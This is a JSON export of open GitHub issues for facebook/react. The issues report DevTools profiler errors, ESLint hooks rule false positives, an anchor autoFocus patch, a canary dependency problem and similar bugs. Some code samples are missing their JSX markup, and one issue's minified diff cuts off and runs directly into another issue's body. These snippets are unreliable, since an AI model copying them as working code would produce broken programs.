"login": "lumirlumir", "id": 119669540, "node_id": "U_kgDOByIDJA", "avatar_url": "https://avatars.githubusercontent.com/u/119669540?v=4", "gravatar_id": "", "url": "https://api.github.com/users/lumirlumir", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-02-09T06:29:14Z", "updated_at": "2026-02-09T06:30:03Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "This issue was escalated from the react.dev repository because there was no reply for over a week.\n\nhttps://github.com/reactjs/react.dev/issues/8281\n\n> ### Summary\n> Hi team,\n> \n> Currently, the \"View Deployment\" for change previews isn't working, causing contributors to be directed to incorrect Vercel links.\n> \n> * \"View Deployment\" Button:\n> \n> \"image\"\n> * When I click the button:\n> \n> \"image\"\n> It stopped working at some point, and from my investigation, this problem affects the entire React documentation site, including react.dev and other i18n documentation.\n> \n> cc. [@rickhanlonii](https://github.com/rickhanlonii)\n> \n> ### Page\n> [#8277](https://github.com/reactjs/react.dev/pull/8277)\n> \n> ### Details\n> [#8277](https://github.com/reactjs/react.dev/pull/8277)\n> \n> Clicking the 'View Deployment' button in the link above doesn't work for external contributors.\n\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35728/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35725", "id": 3913642800, "node_id": "I_kwDOAJy2Ks7pRXMw", "number": 35725, "title": "Bug: Initialize transition start time in startTransition and startGestureTransition", "user": { "login": "subhamkumarr", "id": 99977240, "node_id": "U_kgDOBfWIGA", "avatar_url": "https://avatars.githubusercontent.com/u/99977240?v=4", "gravatar_id": "", "url": "https://api.github.com/users/subhamkumarr", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-02-08T21:46:53Z", "updated_at": "2026-02-08T21:46:53Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Description\nCurrently, calls to `startTransition` and `startGestureTransition` in `packages/react/src/ReactStartTransition.js` initialize `currentTransition.startTime` to `-1`. There is a TODO comment indicating that this should read the timestamp.\n\nThe timestamp is currently lazily set in `ReactFiberWorkLoop.js` when an update is scheduled. This behavior differs from `useTransition`, which correctly sets the start time immediately.\n\nThis issue proposes to:\n\n1. Initialize `startTime` using `performance.now()` (falling back to `Date.now()`) directly in `startTransition` and `startGestureTransition`.\n2. Remove the lazy initialization logic in `ReactFiberWorkLoop.js`.\n\nThis ensures the timestamp accurately reflects when the transition was started, even if updates are processed later.\n\n## Relevant Files\n* `packages/react/src/ReactStartTransition.js`\n* `packages/react-reconciler/src/ReactFiberWorkLoop.js`\n\n## Steps to Reproduce (or verify)\n1. Enable `enableTransitionTracing`.\n2. Inspect `currentTransition.startTime` immediately after creating a transition via `startTransition`. Ideally, it should hold a valid timestamp instead of `-1`.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35725/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35726 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35722", "id": 3912620652, "node_id": "I_kwDOAJy2Ks7pNdps", "number": 35722, "title": "[eslint-plugin-react-hooks] sync plugin version with package.json", "user": { "login": "rhehfl", "id": 154503723, "node_id": "U_kgDOCTWKKw", "avatar_url": "https://avatars.githubusercontent.com/u/154503723?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rhehfl", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-02-08T12:13:39Z", "updated_at": "2026-02-08T12:35:29Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "The version in `packages/eslint-plugin-react-hooks/src/index.ts` is currently hardcoded as a string (e.g., `'7.0.0'`). This violates the Single Source of Truth (SSOT) principle for version management.\n\nWhile `scripts/shared/ReactVersions.js` manages package versions during the release process and updates `package.json`, it does not update this hardcoded string in the source file. Since this package is published without a bundling step that injects the version (based on the `files` field in `package.json`), it relies on manual updates, which are prone to human error and version mismatches.\n\n**React version:** `main` branch\n\n## Steps To Reproduce\n\n1. Go to `packages/eslint-plugin-react-hooks/src/index.ts` in the main branch.\n2. Check the `meta.version` property in the exported plugin object.\n3. Observe that it is a hardcoded string rather than a dynamic reference to `package.json`.\n\n**Link to code example:**\nhttps://github.com/facebook/react/blob/main/packages/eslint-plugin-react-hooks/src/index.ts\n\n## The current behavior\n\nThe version is explicitly hardcoded in the source file, which creates a risk of metadata inconsistency if the release script updates `package.json` but misses this file.\n```typescript\n// Current implementation\nconst plugin = {\n meta: {\n name: 'eslint-plugin-react-hooks',\n version: '7.0.0', // Hardcoded string\n },\n rules,\n configs,\n};\n```\n\n## The expected behavior\n\nSince ESLint plugins run in a Node.js environment, the version should be dynamically retrieved from `package.json`. This ensures that the runtime version always matches the published package metadata without requiring manual synchronization or complex build injections.\n\nSince the codebase uses TypeScript with ES modules, we should use `import` to dynamically load the version, which is the idiomatic approach in TypeScript/ESM for ensuring SSOT.\n```typescript\n// Proposed change\nimport pkg from '../package.json';\n\nconst plugin = {\n meta: {\n name: 'eslint-plugin-react-hooks',\n version: pkg.version, // Dynamic reference from package.json\n },\n rules,\n configs,\n};\n\nexport default plugin;\n```\n**References:** \n[ESLint official documentation on Plugin Metadata](https://eslint.org/docs/latest/extend/plugins#meta-data-in-plugins). While the documentation shows various examples, the principle of dynamically sourcing metadata from `package.json` is a recommended best practice for maintaining version consistency.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35722/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35783 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35713", "id": 3908036585, "node_id": "I_kwDOAJy2Ks7o7-fp", "number": 35713, "title": "[DevTools Bug] Cannot remove node \"1052\" because no matching node was found in the Store.", "user": { "login": "machineghost", "id": 448908, "node_id": "MDQ6VXNlcjQ0ODkwOA==", "avatar_url": "https://avatars.githubusercontent.com/u/448908?v=4", "gravatar_id": "", "url": "https://api.github.com/users/machineghost", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 8, "created_at": "2026-02-06T18:57:59Z", "updated_at": "2026-02-12T21:24:50Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nPrivate App\n\n### Repro steps\n\nTry to profile, get the error\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n7.0.1-3cde211b0c\n\n### Error message (automated)\n\nCannot remove node \"1052\" because no matching node was found in the Store.\n\n### Error call stack (automated)\n\n```text\nat chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:726672\n at p.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:680330)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:682241\n at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1189368)\n```\n\n### Error component stack (automated)\n\n```text\n\n```\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Cannot remove node because no matching node was found in the Store. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35713/reactions", "total_count": 4, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35716 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35698", "id": 3901152864, "node_id": "I_kwDOAJy2Ks7oht5g", "number": 35698, "title": "Bug: Erro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó.", "user": { "login": "powercerebro", "id": 209700259, "node_id": "U_kgDODH_Fow", "avatar_url": "https://avatars.githubusercontent.com/u/209700259?v=4", "gravatar_id": "", "url": "https://api.github.com/users/powercerebro", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2026-02-05T11:44:41Z", "updated_at": "2026-02-05T17:26:09Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "já desinstalei e instalei o chrome e toda hora da esse erro. não tem nenhuma extensão instalada, o tradutor esta desabilitado. tentei no firefox, edge e toda hora da o mesmo erro. não consigo fazer nada no meu produto. \nPode me ajudar?\n\nDesculpe! Uma extensão do navegador pode ter causado um erro.\n\nSabe-se que ferramentas de tradução do navegador (como o Tradutor integrado do Chrome) ou algumas extensões de navegador de terceiros causam erros ao usar o Painel de Controle do Supabase.\n\nRecomendamos fortemente desativar o Chrome Translate ou certas extensões do navegador ao usar o Painel de Controle da Supabase para evitar esse erro. Tente atualizar a página para ver se o problema persiste.\n\nErro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35698/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35657", "id": 3870388530, "node_id": "I_kwDOAJy2Ks7msXEy", "number": 35657, "title": "Bug: React logComponentRender breaks existing functionalities that utilise proxy (trpc client)", "user": { "login": "bimusiek", "id": 1025588, "node_id": "MDQ6VXNlcjEwMjU1ODg=", "avatar_url": "https://avatars.githubusercontent.com/u/1025588?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bimusiek", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2026-01-29T12:23:54Z", "updated_at": "2026-02-04T11:19:55Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "```\nclient[procedureType] is not a function\n```\n\"Image\"\n\nReact version:\n19.2.3\n\n## The current behavior\nWhen trying to read properties of the object to show the diff in log, it breaks it.\n\n## The expected behavior\nShould work.\n\nI am not sure if this is to be fixed on React side or TRPC, but it worked in previous versions of React.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35657/reactions", "total_count": 2, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 2, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35656", "id": 3868583410, "node_id": "I_kwDOAJy2Ks7mleXy", "number": 35656, "title": "Bug: Anchor tags do not support autoFocus", "user": { "login": "0099FF", "id": 20736095, "node_id": "MDQ6VXNlcjIwNzM2MDk1", "avatar_url": "https://avatars.githubusercontent.com/u/20736095?v=4", "gravatar_id": "", "url": "https://api.github.com/users/0099FF", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2026-01-29T03:29:03Z", "updated_at": "2026-02-03T03:25:03Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Hi team!\n\nReact currently doesn't support the `autoFocus` prop for anchor tags. This issue has been raised before, however it was automatically marked as `Stale` and closed: https://github.com/facebook/react/issues/26603\n\nMy opinion matches that of the above ticket author: `autofocus` is a [global attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/autofocus) and should work for anchor tags just like it does for buttons, text inputs, etc. It sounds like this was discussed several years ago (https://github.com/facebook/react/issues/11851#issuecomment-351672131), however browser support for the `autoFocus` attribute has greatly matured since 2017. I'm not sure modern browsers even need the current polyfill behaviour?\n\nReact version: 18.2.0 (Same behaviour in `main`)\n\n## Steps To Reproduce\n\n1. Add an `a` tag with a `href` value and `autoFocus`.\n2. Observe as the anchor tag is not autofocused on page load.\n\nLink to code example: https://codesandbox.io/p/sandbox/strange-ritchie-wc94dy\n\n\n\n## The current behavior\n\nAnchor tags do not receive focus on page load if the `autoFocus` prop/attribute is used.\n\n## The expected behavior\n\nAnchor tags do receive focus on page load if the `autoFocus` prop/attribute is used.\n\n\n## Dev Notes\n\nThe problem stems from the following switch cases where only the `button`, `input`, `select` and `textarea` inputs are supported:\n\n- https://github.com/facebook/react/blob/main/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js#L660\n- https://github.com/facebook/react/blob/main/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js#L858\n\nWe are currently using a patch to bring this functionality to our codebase:\n```diff\ndiff --git a/node_modules/react-dom/cjs/react-dom.development.js b/node_modules/react-dom/cjs/react-dom.development.js\nindex e4ed5ae..530c59f 100644\n--- a/node_modules/react-dom/cjs/react-dom.development.js\n+++ b/node_modules/react-dom/cjs/react-dom.development.js\n@@ -10954,6 +10954,7 @@ function finalizeInitialChildren(domElement, type, props, rootContainerInstance,\n case 'input':\n case 'select':\n case 'textarea':\n+ case 'a':\n return !!props.autoFocus;\n \n case 'img':\n@@ -11026,6 +11027,7 @@ function commitMount(domElement, type, newProps, internalInstanceHandle) {\n case 'input':\n case 'select':\n case 'textarea':\n+ case 'a':\n if (newProps.autoFocus) {\n domElement.focus();\n }\ndiff --git a/node_modules/react-dom/cjs/react-dom.production.min.js b/node_modules/react-dom/cjs/react-dom.production.min.js\nindex 7bbc786..a929cd3 100644\n--- a/node_modules/react-dom/cjs/react-dom.production.min.js\n+++ b/node_modules/react-dom/cjs/react-dom.production.min.js\n@@ -229,7 +229,7 @@ h,a),e=[\"children\",\"\"+h]):ea.hasOwnProperty(g)&&null!=h&&\"onScroll\"===g&&D(\"scro\n \"string\"===typeof d.is?a=g.createElement(c,{is:d.is}):(a=g.createElement(c),\"select\"===c&&(g=a,d.multiple?g.multiple=!0:d.size&&(g.size=d.size))):a=g.createElementNS(a,c);a[Of]=b;a[Pf]=d;Aj(a,b,!1,!1);b.stateNode=a;a:{g=vb(c,d);switch(c){case \"dialog\":D(\"cancel\",a);D(\"close\",a);e=d;break;case \"iframe\":case \"object\":case \"embed\":D(\"load\",a);e=d;break;case \"video\":case \"audio\":for(e=0;e\n\n\n\nReact version:\n\nreact: 19.2.3\nreact devtools 7.0.1\n\n## Steps To Reproduce\n\n1. Load this data [profiling-data.27-01-2026.22-07-13.json](https://github.com/user-attachments/files/24885856/profiling-data.27-01-2026.22-07-13.json)\n2. press 100 in nav\n\n\n\nLink to code example:\n\n\n\n## The current behavior\n```\nThe error was thrown at updateTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:699600)\n at getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:698832)\n at $e.getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:703384)\n at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1005870)\n at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66940)\n at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:97513)\n at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:111594)\n at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184246)\n at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184102)\n at renderRootSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:183886)\n\nThe error occurred at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1005671)\n at div ()\n at div ()\n at div ()\n at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:879909)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1144384\n at ao (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:898411)\n at div ()\n at div ()\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901116)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901313\n at div ()\n at div ()\n at div ()\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901116)\n at SuspenseTreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1147064)\n at InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:915935)\n at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:994422)\n at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:986233)\n at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:786019)\n at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:815755)\n at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:972480)\n at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1175879)\n```\n## The expected behavior\n\nNo throw", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35640/reactions", "total_count": 6, "+1": 5, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35635", "id": 3857545961, "node_id": "I_kwDOAJy2Ks7l7Xrp", "number": 35635, "title": "Bug: React DOM canary has an incorrect dependency on Scheduler", "user": { "login": "snowystinger", "id": 698229, "node_id": "MDQ6VXNlcjY5ODIyOQ==", "avatar_url": "https://avatars.githubusercontent.com/u/698229?v=4", "gravatar_id": "", "url": "https://api.github.com/users/snowystinger", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": { "0": { "login": "eps1lon", "id": 12292047, "node_id": "MDQ6VXNlcjEyMjkyMDQ3", "avatar_url": "https://avatars.githubusercontent.com/u/12292047?v=4", "gravatar_id": "", "url": "https://api.github.com/users/eps1lon", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 2, "created_at": "2026-01-26T20:30:35Z", "updated_at": "2026-01-26T21:42:57Z", "closed_at": null, "assignee": { "login": "eps1lon", "id": 12292047, "node_id": "MDQ6VXNlcjEyMjkyMDQ3", "avatar_url": "https://avatars.githubusercontent.com/u/12292047?v=4", "gravatar_id": "", "url": "https://api.github.com/users/eps1lon", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version: Canary\n\n## Steps To Reproduce\n\n1. install react-dom canary\n2. no such scheduler version\n\n\n\nLink to code example:\nYou can see it in the package.json, just search for that canary version in the published packages\nhttps://www.npmjs.com/package/react-dom/v/19.3.0-canary-10680271-20260126?activeTab=code\nhttps://www.npmjs.com/package/scheduler?activeTab=versions\n\n\n\n## The current behavior\n\n\n## The expected behavior\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35635/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35577", "id": 3835199563, "node_id": "I_kwDOAJy2Ks7kmIBL", "number": 35577, "title": "Bug: The ESLint react-hooks/preserve-manual-memoization rule warns against optional chaining operator", "user": { "login": "4eb0da", "id": 4380238, "node_id": "MDQ6VXNlcjQzODAyMzg=", "avatar_url": "https://avatars.githubusercontent.com/u/4380238?v=4", "gravatar_id": "", "url": "https://api.github.com/users/4eb0da", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2026-01-20T19:52:06Z", "updated_at": "2026-01-22T13:40:20Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "eslint-plugin-react-hooks version: 7.0.1\n\n## Steps To Reproduce\n\n```tsx\nconst Test = ({ obj }) => {\n const onClick = useCallback(() => {\n if (obj?.id) {\n console.log(obj.id);\n }\n }, [obj?.id]);\n\n return (\n \n );\n};\n```\n\n## The current behavior\n```\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `obj`, but the source dependencies were [obj?.id]. Inferred less specific property than source.\n```\n\n## The expected behavior\nNo errors\n\nThis can be fixed in several trivial ways:\n\n1. Use `obj?.id` in all places\n2. Introduce the variable:\n\n```tsx\nconst onClick = useCallback(() => {\n const id = obj?.id;\n if (id) {\n console.log(id);\n }\n}, [obj?.id]);\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35577/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35859 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35576", "id": 3835182651, "node_id": "I_kwDOAJy2Ks7kmD47", "number": 35576, "title": "Bug: The ESLint react-hooks/immutability rule warns against using a callback internally", "user": { "login": "4eb0da", "id": 4380238, "node_id": "MDQ6VXNlcjQzODAyMzg=", "avatar_url": "https://avatars.githubusercontent.com/u/4380238?v=4", "gravatar_id": "", "url": "https://api.github.com/users/4eb0da", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2026-01-20T19:46:30Z", "updated_at": "2026-01-24T05:48:03Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "eslint-plugin-react-hooks version: 7.0.1\n\n## Steps To Reproduce\n\n```tsx\nconst Test: FC = () => {\n const onMouseDown = useCallback(() => {\n // warns here about using onMouseDown\n window.removeEventListener('mousedown', onMouseDown);\n }, []);\n\n useEffect(() => {\n window.addEventListener('mousedown', onMouseDown);\n\n return () => {\n window.removeEventListener('mousedown', onMouseDown);\n };\n }, [onMouseDown]);\n\n return
Hello
;\n};\n```\n\n## The current behavior\n```\n`onMouseDown` is accessed before it is declared, which prevents the earlier access from updating when this value changes over time.\n```\n\n## The expected behavior\nNo errors", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35576/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35575", "id": 3835161503, "node_id": "I_kwDOAJy2Ks7kl-uf", "number": 35575, "title": "Bug: The ESLint react-hooks/refs rule marks the entire object with the ref property as a ref object", "user": { "login": "4eb0da", "id": 4380238, "node_id": "MDQ6VXNlcjQzODAyMzg=", "avatar_url": "https://avatars.githubusercontent.com/u/4380238?v=4", "gravatar_id": "", "url": "https://api.github.com/users/4eb0da", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a 